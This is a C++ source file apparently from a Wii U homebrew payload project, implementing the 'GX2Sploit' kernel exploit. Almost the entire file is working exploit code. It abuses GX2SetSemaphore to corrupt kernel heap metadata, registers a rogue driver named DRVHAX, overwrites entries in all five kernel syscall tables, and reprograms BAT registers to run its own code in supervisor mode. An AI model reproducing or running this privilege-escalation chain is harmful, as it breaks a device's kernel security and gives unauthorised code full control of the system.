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PayloadFromRPX-20230723-084033
PayloadFromRPX/source/gx2sploit.cpp

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#include "gx2sploit.h"
#include "ElfUtils.h"
#include <coreinit/cache.h>
#include <coreinit/core.h>
#include <coreinit/debug.h>
#include <coreinit/dynload.h>
#include <coreinit/exit.h>
#include <coreinit/memory.h>
#include <coreinit/memorymap.h>
#include <coreinit/thread.h>
#include <cstring>
#include <gx2/state.h>
#include <malloc.h>
#include <sysapp/launch.h>
#include <utils/logger.h>
#include <whb/log.h>
#define JIT_ADDRESS 0x01800000
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_DRVPTR 0xFFEAB530
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
extern "C" void SCKernelCopyData(uint32_t addr, uint32_t src, uint32_t len);
/* Find a gadget based on a sequence of words */
static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) {
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t *) gadgets_start; ptr != (uint32_t *) JIT_ADDRESS; ptr++) {
if (!memcmp(ptr, &code[0], length)) {
return ptr;
}
}
OSFatal("Failed to find gadget!");
return NULL;
}
/* Chadderz's kernel write function */
void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) {
asm volatile(
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12");
}
extern "C" void OSSwitchSecCodeGenMode(int);
int exploitThread(int argc, char **argv) {
OSDynLoad_Module gx2_handle;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
void (*pGX2SetSemaphore)(uint64_t * sem, int action);
OSDynLoad_FindExport(gx2_handle, OS_DYNLOAD_EXPORT_FUNC, "GX2SetSemaphore", (void **) &pGX2SetSemaphore);
uint32_t set_semaphore = ((uint32_t) pGX2SetSemaphore) + 0x2C;
uint32_t gx2_init_attributes[9];
uint8_t *gx2CommandBuffer = (uint8_t *) memalign(0x40, 0x400000);
gx2_init_attributes[0] = 1;
gx2_init_attributes[1] = (uint32_t) gx2CommandBuffer;
gx2_init_attributes[2] = 2;
gx2_init_attributes[3] = 0x400000;
gx2_init_attributes[4] = 7;
gx2_init_attributes[5] = 0;
gx2_init_attributes[6] = 8;
gx2_init_attributes[7] = 0;
gx2_init_attributes[8] = 0;
GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
/* Allocate space for DRVHAX */
uint32_t *drvhax = (uint32_t *) OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t *) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t) drvhax;
metadata[1] = (uint32_t) -0x4c;
metadata[2] = (uint32_t) -1;
metadata[3] = (uint32_t) -1;
/* Find stuff */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
void (*do_flush)(uint32_t arg0, uint32_t arg1) = (void (*)(uint32_t, uint32_t))(((uint32_t) find_gadget(doflush, 0x2C, 0x01000000)) + 0x14);
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
do_flush(0x100, 1);
/* Register a new OSDriver, DRVHAX */
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
DCFlushRange(syscalls, 0x04 * 2);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44 / 4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void *) (KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void *) KERN_DRVPTR, drvhax[0x48 / 4]);
// Install CopyData syscall
kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t) 0x1800000);
kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t) 0x1800000);
/* clean shutdown */
GX2Shutdown();
free(gx2CommandBuffer);
return 0;
}
void KernelWriteU32(uint32_t addr, uint32_t value);
extern "C" void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len);
void KernelWrite(uint32_t addr, const void *data, uint32_t length) {
// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
// further testing required.
for (uint32_t i = 0; i < length; i += 4) {
KernelWriteU32(addr + i, *(uint32_t *) (((uint32_t) data) + i));
}
}
void KernelWriteU32(uint32_t addr, uint32_t value) {
ICInvalidateRange(&value, 4);
DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) OSEffectiveToPhysical(addr);
uint32_t src = (uint32_t) OSEffectiveToPhysical((uint32_t) &value);
SC_KernelCopyData(dst, src, 4);
DCFlushRange((void *) addr, 4);
ICInvalidateRange((void *) addr, 4);
}
static void SCSetupIBAT4DBAT5() {
asm volatile("sync; eieio; isync");
// Give our and the kernel full execution rights.
// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
unsigned int ibat4u = 0x008000FF;
unsigned int ibat4l = 0x30800012;
asm volatile("mtspr 560, %0"
:
: "r"(ibat4u));
asm volatile("mtspr 561, %0"
:
: "r"(ibat4l));
// Give our and the kernel full data access rights.
// 00800000-01000000 => 30800000-31000000 (read/write, user/supervisor)
unsigned int dbat5u = ibat4u;
unsigned int dbat5l = ibat4l;
asm volatile("mtspr 570, %0"
:
: "r"(dbat5u));
asm volatile("mtspr 571, %0"
:
: "r"(dbat5l));
asm volatile("eieio; isync");
}
extern "C" void SC_0x36_SETBATS(void);
int DoKernelExploit(void) {
DEBUG_FUNCTION_LINE("Running GX2Sploit");
/* Make a thread to modify the semaphore */
OSThread *thread = (OSThread *) memalign(8, 0x1000);
uint8_t *stack = (uint8_t *) memalign(0x40, 0x2000);
OSSwitchSecCodeGenMode(0);
memcpy((void *) 0x1800000, (void *) &SCKernelCopyData, 0x100);
unsigned int setIBAT0Addr = 0x1800200;
unsigned int *curAddr = (uint32_t *) setIBAT0Addr;
curAddr[0] = 0x7C0006AC;
curAddr[1] = 0x4C00012C;
curAddr[2] = 0x7C7083A6;
curAddr[3] = 0x7C9183A6;
curAddr[4] = 0x7C0006AC;
curAddr[5] = 0x4C00012C;
curAddr[6] = 0x4E800020;
DCFlushRange((void *) 0x1800000, 0x1000);
ICInvalidateRange((void *) 0x1800000, 0x1000);
OSSwitchSecCodeGenMode(1);
if (OSCreateThread(thread, (OSThreadEntryPointFn) exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) {
OSFatal("Failed to create thread");
}
OSResumeThread(thread);
OSJoinThread(thread, 0);
free(thread);
free(stack);
unsigned char backupBuffer[0x40];
uint32_t targetBuffer[0x40 / 4];
uint32_t targetAddress = 0x017FF000;
KernelWrite((uint32_t) backupBuffer, (void *) 0x017FF000, 0x40);
targetBuffer[0] = 0x7c7082a6; // mfspr r3, 528
targetBuffer[1] = 0x60630003; // ori r3, r3, 0x03
targetBuffer[2] = 0x7c7083a6; // mtspr 528, r3
targetBuffer[3] = 0x7c7282a6; // mfspr r3, 530
targetBuffer[4] = 0x60630003; // ori r3, r3, 0x03
targetBuffer[5] = 0x7c7283a6; // mtspr 530, r3
targetBuffer[6] = 0x7c0006ac; // eieio
targetBuffer[7] = 0x4c00012c; // isync
targetBuffer[8] = 0x3c600000 | (((uint32_t) SCSetupIBAT4DBAT5) >> 16); // lis r3, setup_syscall@h
targetBuffer[9] = 0x60630000 | (((uint32_t) SCSetupIBAT4DBAT5) & 0xFFFF); // ori r3, r3, setup_syscall@l
targetBuffer[10] = 0x7c6903a6; // mtctr r3
targetBuffer[11] = 0x4e800420; // bctr
DCFlushRange(targetBuffer, sizeof(targetBuffer));
KernelWrite((uint32_t) targetAddress, (void *) targetBuffer, 0x40);
/* set our setup syscall to an unused position */
kern_write((void *) (KERN_SYSCALL_TBL_1 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_2 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_3 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_4 + (0x36 * 4)), targetAddress);
kern_write((void *) (KERN_SYSCALL_TBL_5 + (0x36 * 4)), targetAddress);
/* run our kernel code :) */
SC_0x36_SETBATS();
/* repair data */
KernelWrite(targetAddress, backupBuffer, sizeof(backupBuffer));
DCFlushRange((void *) targetAddress, sizeof(backupBuffer));
DEBUG_FUNCTION_LINE("GX2Sploit done");
return 1;
}
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